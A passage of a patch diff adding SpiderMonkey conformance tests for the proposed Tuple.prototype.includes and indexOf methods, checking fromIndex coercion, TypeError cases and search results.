+assertEq(sample.includes(42), true, "42");
+assertEq(sample.includes("test262"), true, "'test262'");
+assertEq(sample.includes(null), true, "null");
+assertEq(sample.includes(undefined), true, "undefined");
+assertEq(sample.includes(true), true, "true");
+assertEq(sample.includes(false), true, "false");
+assertEq(sample.includes(0), true, "0");
+assertEq(sample.includes(-1), true, "-1");
+assertEq(sample.includes(""), true, "the empty string");
+assertEq(sample.includes(symbol), true, "symbol");
+assertEq(sample.includes(tuple), true, "tuple");
+assertEq(sample.includes(record), true, "record");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/search-not-found-returns-false.js b/js/src/tests/non262/Tuple/prototype/includes/search-not-found-returns-false.js
new file mode 100644
index 0000000000..0e1889099f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/search-not-found-returns-false.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: returns false if the element is not found
+---*/
+
+assertEq(#[42].includes(43), false, "43");
+
+assertEq(#["test262"].includes("test"), false, "string");
+
+assertEq(#[0, "test262", undefined].includes(""), false, "the empty string");
+
+assertEq(#["true", false].includes(true), false, "true");
+assertEq(#["", true].includes(false), false, "false");
+
+assertEq(#[undefined, false, 0, 1].includes(null), false, "null");
+assertEq(#[null].includes(undefined), false, "undefined");
+
+assertEq(#[Symbol("1")].includes(Symbol("1")), false, "symbol");
+
+var sample = #[42];
+assertEq(sample.includes(sample), false, "this");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/this-is-not-tuple.js b/js/src/tests/non262/Tuple/prototype/includes/this-is-not-tuple.js
new file mode 100644
index 0000000000..00679f2a73
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/this-is-not-tuple.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+description: >
+ Throws a TypeError exception when `this` cannot be coerced to Tuple
+---*/
+
+var includes = Tuple.prototype.includes;
+
+assertThrowsInstanceOf(() => includes.call(undefined, 42), TypeError,
+ "this is undefined");
+
+assertThrowsInstanceOf(() => includes.call(null, 42), TypeError,
+ "this is null");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/tointeger-fromindex.js b/js/src/tests/non262/Tuple/prototype/includes/tointeger-fromindex.js
new file mode 100644
index 0000000000..608dbbf732
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/tointeger-fromindex.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: get the integer value from fromIndex
+*/
+
+var obj = {
+ valueOf: function() {
+ return 1;
+ }
+};
+
+var sample = #[42, 43];
+assertEq(sample.includes(42, "1"), false, "string [0]");
+assertEq(sample.includes(43, "1"), true, "string [1]");
+
+assertEq(sample.includes(42, true), false, "true [0]");
+assertEq(sample.includes(43, true), true, "true [1]");
+
+assertEq(sample.includes(42, false), true, "false [0]");
+assertEq(sample.includes(43, false), true, "false [1]");
+
+assertEq(sample.includes(42, NaN), true, "NaN [0]");
+assertEq(sample.includes(43, NaN), true, "NaN [1]");
+
+assertEq(sample.includes(42, null), true, "null [0]");
+assertEq(sample.includes(43, null), true, "null [1]");
+
+assertEq(sample.includes(42, undefined), true, "undefined [0]");
+assertEq(sample.includes(43, undefined), true, "undefined [1]");
+
+assertEq(sample.includes(42, null), true, "null [0]");
+assertEq(sample.includes(43, null), true, "null [1]");
+
+assertEq(sample.includes(42, obj), false, "object [0]");
+assertEq(sample.includes(43, obj), true, "object [1]");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/using-fromindex.js b/js/src/tests/non262/Tuple/prototype/includes/using-fromindex.js
new file mode 100644
index 0000000000..7dbcc00c20
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/using-fromindex.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+info: |
+ 22.1.3.11 Tuple.prototype.includes ( searchElement [ , fromIndex ] )
+---*/
+
+var sample = #["a", "b", "c"];
+assertEq(sample.includes("a", 0), true, "includes('a', 0)");
+assertEq(sample.includes("a", 1), false, "includes('a', 1)");
+assertEq(sample.includes("a", 2), false, "includes('a', 2)");
+
+assertEq(sample.includes("b", 0), true, "includes('b', 0)");
+assertEq(sample.includes("b", 1), true, "includes('b', 1)");
+assertEq(sample.includes("b", 2), false, "includes('b', 2)");
+
+assertEq(sample.includes("c", 0), true, "includes('c', 0)");
+assertEq(sample.includes("c", 1), true, "includes('c', 1)");
+assertEq(sample.includes("c", 2), true, "includes('c', 2)");
+
+assertEq(sample.includes("a", -1), false, "includes('a', -1)");
+assertEq(sample.includes("a", -2), false, "includes('a', -2)");
+assertEq(sample.includes("a", -3), true, "includes('a', -3)");
+assertEq(sample.includes("a", -4), true, "includes('a', -4)");
+
+assertEq(sample.includes("b", -1), false, "includes('b', -1)");
+assertEq(sample.includes("b", -2), true, "includes('b', -2)");
+assertEq(sample.includes("b", -3), true, "includes('b', -3)");
+assertEq(sample.includes("b", -4), true, "includes('b', -4)");
+
+assertEq(sample.includes("c", -1), true, "includes('c', -1)");
+assertEq(sample.includes("c", -2), true, "includes('c', -2)");
+assertEq(sample.includes("c", -3), true, "includes('c', -3)");
+assertEq(sample.includes("c", -4), true, "includes('c', -4)");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/empty-tuple.js b/js/src/tests/non262/Tuple/prototype/indexOf/empty-tuple.js
new file mode 100644
index 0000000000..1334ba9271
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/empty-tuple.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf returns -1 if 'length' is 0 (empty tuple)
+---*/
+
+var i = #[].indexOf(42);
+
+assertEq(i, -1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-boolean.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-boolean.js
new file mode 100644
index 0000000000..41c064370b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-boolean.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf when fromIndex is boolean
+---*/
+
+let a = #[1, 2, 3];
+
+assertEq(a.indexOf(1, true), -1);
+assertEq(a.indexOf(1, false), 0);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-float.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-float.js
new file mode 100644
index 0000000000..1c2995a0af
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-float.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf when fromIndex is floating point number
+---*/
+
+var a = #[1,2,3];
+
+assertEq(a.indexOf(3, 0.49), 2);
+assertEq(a.indexOf(1, 0.51), 0);
+assertEq(a.indexOf(1, 1.51), -1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-greater-than-length.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-greater-than-length.js
new file mode 100644
index 0000000000..3514d0a444
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-greater-than-length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf returns -1 if fromIndex is greater than
+ Tuple length
+---*/
+
+let a = #[1, 2, 3];
+
+assertEq(a.indexOf(1, 5), -1);
+assertEq(a.indexOf(1, 3), -1);
+assertEq(#[].indexOf(1, 0), -1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-infinity-string.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-infinity-string.js
new file mode 100644
index 0000000000..de5895aca3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-infinity-string.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing -Infinity
+---*/
+
+assertEq(#[true].indexOf(true, "-Infinity"), 0);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-inherited-valueOf.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-inherited-valueOf.js
new file mode 100644
index 0000000000..a2ad8353bf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-inherited-valueOf.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf uses inherited valueOf method when value
+ of 'fromIndex' is an object with an own toString and inherited
+ valueOf methods
+---*/
+
+var toStringAccessed = false;
+var valueOfAccessed = false;
+
+var proto = {
+ valueOf: function() {
+ valueOfAccessed = true;
+ return 1;
+ }
+};
+
+var Con = function() {};
+Con.prototype = proto;
+
+var child = new Con();
+child.toString = function() {
+ toStringAccessed = true;
+ return 2;
+};
+
+assertEq(#[0, true].indexOf(true, child), 1, '[0, true].indexOf(true, child)');
+assertEq(valueOfAccessed, true);
+assertEq(toStringAccessed, false, 'toStringAccessed');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-missing.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-missing.js
new file mode 100644
index 0000000000..6a16da4847
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-missing.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: Tuple.prototype.indexOf - 'fromIndex' isn't passed
+---*/
+
+var arr = #[0, 1, 2, 3, 4];
+//'fromIndex' will be set as 0 if not passed by default
+
+assertEq(arr.indexOf(0), arr.indexOf(0, 0), 'arr.indexOf(0)');
+assertEq(arr.indexOf(2), arr.indexOf(2, 0), 'arr.indexOf(2)');
+assertEq(arr.indexOf(4), arr.indexOf(4, 0), 'arr.indexOf(4)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-nan.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-nan.js
new file mode 100644
index 0000000000..40fdde8a34
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-nan.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is NaN)
+---*/
+
+assertEq(#[true].indexOf(true, NaN), 0, '[true].indexOf(true, NaN)');
+assertEq(#[true].indexOf(true, -NaN), 0, '[true].indexOf(true, -NaN)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-infinity.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-infinity.js
new file mode 100644
index 0000000000..4595230e83
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-infinity.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is -Infinity)
+---*/
+
+assertEq(#[true].indexOf(true, -Infinity), 0, '#[true].indexOf(true, -Infinity)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-zero.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-zero.js
new file mode 100644
index 0000000000..2d0d856f4f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-neg-zero.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is -0)
+---*/
+
+assertEq(#[true].indexOf(true, -0), 0, '#[true].indexOf(true, -0)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-negative.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-negative.js
new file mode 100644
index 0000000000..db87f171d2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-negative.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is negative number)
+---*/
+
+var target = #[];
+
+assertEq(#[0, target, 2].indexOf(target, -1), -1, '[0, target, 2].indexOf(target, -1)');
+assertEq(#[0, 1, target].indexOf(target, -1), 2, '[0, 1, target].indexOf(target, -1)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-null.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-null.js
new file mode 100644
index 0000000000..f046fe2398
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-null.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: Tuple.prototype.indexOf returns 0 if fromIndex is null
+---*/
+
+var a = #[1, 2, 3];
+
+// null resolves to 0
+assertEq(a.indexOf(1, null), 0, 'a.indexOf(1,null)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-number.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-number.js
new file mode 100644
index 0000000000..8fc53c3a5a
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-number.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is 0)
+---*/
+
+assertEq(#[true].indexOf(true, 0), 0, '#[true].indexOf(true, 0)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-not-primitive.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-not-primitive.js
new file mode 100644
index 0000000000..946dc411fc
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-not-primitive.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf throws TypeError exception when value of
+ 'fromIndex' is an object with toString and valueOf methods that
+ don�t return primitive values
+---*/
+
+var toStringAccessed = false;
+var valueOfAccessed = false;
+var fromIndex = {
+ toString: function() {
+ toStringAccessed = true;
+ return {};
+ },
+
+ valueOf: function() {
+ valueOfAccessed = true;
+ return {};
+ }
+};
+
+assertThrowsInstanceOf(function() {
+ #[0, true].indexOf(true, fromIndex);
+}, TypeError);
+
+assertEq(toStringAccessed, true);
+assertEq(valueOfAccessed, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf-toString.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf-toString.js
new file mode 100644
index 0000000000..5568a31bdf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf-toString.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is an object that
+ has an own valueOf method that returns an object and toString
+ method that returns a string
+---*/
+
+var toStringAccessed = false;
+var valueOfAccessed = false;
+
+var fromIndex = {
+ toString: function() {
+ toStringAccessed = true;
+ return '1';
+ },
+
+ valueOf: function() {
+ valueOfAccessed = true;
+ return {};
+ }
+};
+
+assertEq(#[0, true].indexOf(true, fromIndex), 1, '#[0, true].indexOf(true, fromIndex)');
+assertEq(toStringAccessed, true);
+assertEq(valueOfAccessed, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf.js
new file mode 100644
index 0000000000..c69aadaefb
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object-valueOf.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is an Object, which
+ has an own valueOf method
+---*/
+
+var fromIndex = {
+ valueOf: function() {
+ return 1;
+ }
+};
+
+
+assertEq(#[0, true].indexOf(true, fromIndex), 1, '#[0, true].indexOf(true, fromIndex)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object.js
new file mode 100644
index 0000000000..cb1d74ddf8
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-object.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is an Object, which
+ has an own toString method
+---*/
+
+// objects inherit the default valueOf() method from Object
+// that simply returns itself. Since the default valueOf() method
+// does not return a primitive value, ES next tries to convert the object
+// to a number by calling its toString() method and converting the
+// resulting string to a number.
+var fromIndex = {
+ toString: function() {
+ return '1';
+ }
+};
+
+assertEq(#[0, true].indexOf(true, fromIndex), 1, '#[0, true].indexOf(true, fromIndex)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-positive.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-positive.js
new file mode 100644
index 0000000000..c5b1948356
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-positive.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a number (value
+ is positive number)
+---*/
+
+var target = #[];
+
+assertEq(#[0, target, 2].indexOf(target, 2), -1, '#[0, target, 2].indexOf(target, 2)');
+assertEq(#[0, 1, target].indexOf(target, 2), 2, '#[0, 1, target].indexOf(target, 2)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-side-effects-3.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-side-effects-3.js
new file mode 100644
index 0000000000..b2a98cc58a
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-side-effects-3.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - side effects produced by step 1 are
+ visible when an exception occurs
+---*/
+
+var stepFiveOccurs = false;
+var fromIndex = {
+ valueOf: function() {
+ stepFiveOccurs = true;
+ return 0;
+ }
+};
+assertThrowsInstanceOf(function() {
+ Tuple.prototype.indexOf.call(undefined, undefined, fromIndex);
+}, TypeError);
+assertEq(stepFiveOccurs, false, 'stepFiveOccurs');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-2.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-2.js
new file mode 100644
index 0000000000..ca7591a49b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-2.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Tuple.prototype.indexOf when fromIndex is string
+---*/
+
+var a = #[1, 2, 1, 2, 1, 2];
+
+assertEq(a.indexOf(2, "2"), 3, '"2" resolves to 2');
+assertEq(a.indexOf(2, "one"), 1, '"one" resolves to 0');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-exponent.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-exponent.js
new file mode 100644
index 0000000000..a544e56717
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-exponent.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing an exponential number
+---*/
+
+var target = #[];
+
+assertEq(#[0, 1, target, 3, 4].indexOf(target, "3E0"), -1, '#[0, 1, target, 3, 4].indexOf(target, "3E0")');
+assertEq(#[0, 1, 2, target, 4].indexOf(target, "3E0"), 3, '#[0, 1, 2, target, 4].indexOf(target, "3E0")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-hex.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-hex.js
new file mode 100644
index 0000000000..633a2688b3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-hex.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing a hex number
+---*/
+
+var target = #[];
+
+assertEq(#[0, 1, target, 3, 4].indexOf(target, "0x0003"), -1, '#[0, 1, target, 3, 4].indexOf(target, "0x0003")');
+assertEq(#[0, 1, 2, target, 4].indexOf(target, "0x0003"), 3, '#[0, 1, 2, target, 4].indexOf(target, "0x0003")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-leading-zeros.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-leading-zeros.js
new file mode 100644
index 0000000000..805516e4fa
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-leading-zeros.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' which is a string
+ containing a number with leading zeros
+---*/
+
+var target = #[];
+
+assertEq(#[0, 1, target, 3, 4].indexOf(target, "0003.10"), -1, '#[0, 1, target, 3, 4].indexOf(target, "0003.10")');
+assertEq(#[0, 1, 2, target, 4].indexOf(target, "0003.10"), 3, '#[0, 1, 2, target, 4].indexOf(target, "0003.10")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-neg-infinity.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-neg-infinity.js
new file mode 100644
index 0000000000..7595ab2bb5
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-neg-infinity.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing -Infinity
+---*/
+
+assertEq(#[true].indexOf(true, "-Infinity"), 0, '#[true].indexOf(true, "-Infinity")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-negative.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-negative.js
new file mode 100644
index 0000000000..1b1c330725
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string-negative.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing a negative number
+---*/
+
+assertEq(#[0, true, 2].indexOf(true, "-1"), -1, '#[0, true, 2].indexOf(true, "-1")');
+assertEq(#[0, 1, true].indexOf(true, "-1"), 2, '#[0, 1, true].indexOf(true, "-1")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string.js
new file mode 100644
index 0000000000..1b1c330725
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-string.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.indexOf - value of 'fromIndex' is a string
+ containing a negative number
+---*/
+
+assertEq(#[0, true, 2].indexOf(true, "-1"), -1, '#[0, true, 2].indexOf(true, "-1")');
+assertEq(#[0, 1, true].indexOf(true, "-1"), 2, '#[0, 1, true].indexOf(true, "-1")');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc-2.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc-2.js
new file mode 100644
index 0000000000..4d08a4700d
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc-2.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (c) 2012 Ecma International. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.indexof
+description: >
+ Tuple.prototype.indexOf - 'fromIndex' is a negative non-integer,
+ verify truncation occurs in the proper direction
+---*/
+
+var target = #[];
+
+assertEq(#[0, target, 2].indexOf(target, -1.5), -1, '#[0, target, 2].indexOf(target, -1.5)');
+assertEq(#[0, 1, target].indexOf(target, -1.5), 2, '#[0, 1, target].indexOf(target, -1.5)');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc.js b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc.js
new file mode 100644
index 0000000000..a9cbd3fa9c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-trunc.js
@@ -0,0 +1,17 @@
